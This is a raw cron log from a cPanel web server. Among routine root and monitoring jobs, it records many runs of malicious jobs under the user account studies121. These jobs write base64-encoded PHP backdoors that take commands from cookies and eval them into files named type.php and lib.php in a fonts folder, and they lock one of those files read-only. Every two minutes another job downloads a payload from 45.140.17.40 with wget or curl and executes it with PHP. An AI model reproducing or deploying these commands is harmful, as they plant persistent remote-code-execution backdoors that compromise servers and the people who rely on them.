Aug 30 18:20:02 ip-184-168-122-23 CROND[23182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:20:02 ip-184-168-122-23 CROND[23185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:20:02 ip-184-168-122-23 CROND[23184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:20:02 ip-184-168-122-23 CROND[23190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:20:02 ip-184-168-122-23 CROND[23191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:21:01 ip-184-168-122-23 CROND[23389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:21:01 ip-184-168-122-23 CROND[23391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:21:01 ip-184-168-122-23 CROND[23393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:21:01 ip-184-168-122-23 CROND[23396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:22:01 ip-184-168-122-23 CROND[23480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:22:01 ip-184-168-122-23 CROND[23482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:22:01 ip-184-168-122-23 CROND[23483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:22:01 ip-184-168-122-23 CROND[23484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:22:01 ip-184-168-122-23 CROND[23485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:23:01 ip-184-168-122-23 CROND[23576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:23:01 ip-184-168-122-23 CROND[23577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:23:01 ip-184-168-122-23 CROND[23579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:23:01 ip-184-168-122-23 CROND[23578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:24:01 ip-184-168-122-23 CROND[23660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:24:01 ip-184-168-122-23 CROND[23662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:24:01 ip-184-168-122-23 CROND[23664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:24:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:24:01 ip-184-168-122-23 CROND[23663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:25:01 ip-184-168-122-23 CROND[23776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:25:01 ip-184-168-122-23 CROND[23778]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 18:26:01 ip-184-168-122-23 CROND[23959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:26:01 ip-184-168-122-23 CROND[23960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:26:01 ip-184-168-122-23 CROND[23961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:26:01 ip-184-168-122-23 CROND[23965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:26:01 ip-184-168-122-23 CROND[23966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:27:01 ip-184-168-122-23 CROND[24047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:27:01 ip-184-168-122-23 CROND[24050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:27:01 ip-184-168-122-23 CROND[24049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:27:01 ip-184-168-122-23 CROND[24052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:28:01 ip-184-168-122-23 CROND[24132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:28:01 ip-184-168-122-23 CROND[24134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:28:01 ip-184-168-122-23 CROND[24135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:28:01 ip-184-168-122-23 CROND[24138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:28:01 ip-184-168-122-23 CROND[24133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:29:01 ip-184-168-122-23 CROND[24240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:29:01 ip-184-168-122-23 CROND[24242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:29:01 ip-184-168-122-23 CROND[24243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:29:01 ip-184-168-122-23 CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:30:02 ip-184-168-122-23 CROND[24359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:30:02 ip-184-168-122-23 CROND[24361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24362]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:30:02 ip-184-168-122-23 CROND[24369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:31:01 ip-184-168-122-23 CROND[24478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:31:01 ip-184-168-122-23 CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:31:01 ip-184-168-122-23 CROND[24482]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:31:01 ip-184-168-122-23 CROND[24483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:31:01 ip-184-168-122-23 CROND[24480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:32:01 ip-184-168-122-23 CROND[24586]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:32:01 ip-184-168-122-23 CROND[24588]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:32:01 ip-184-168-122-23 CROND[24590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
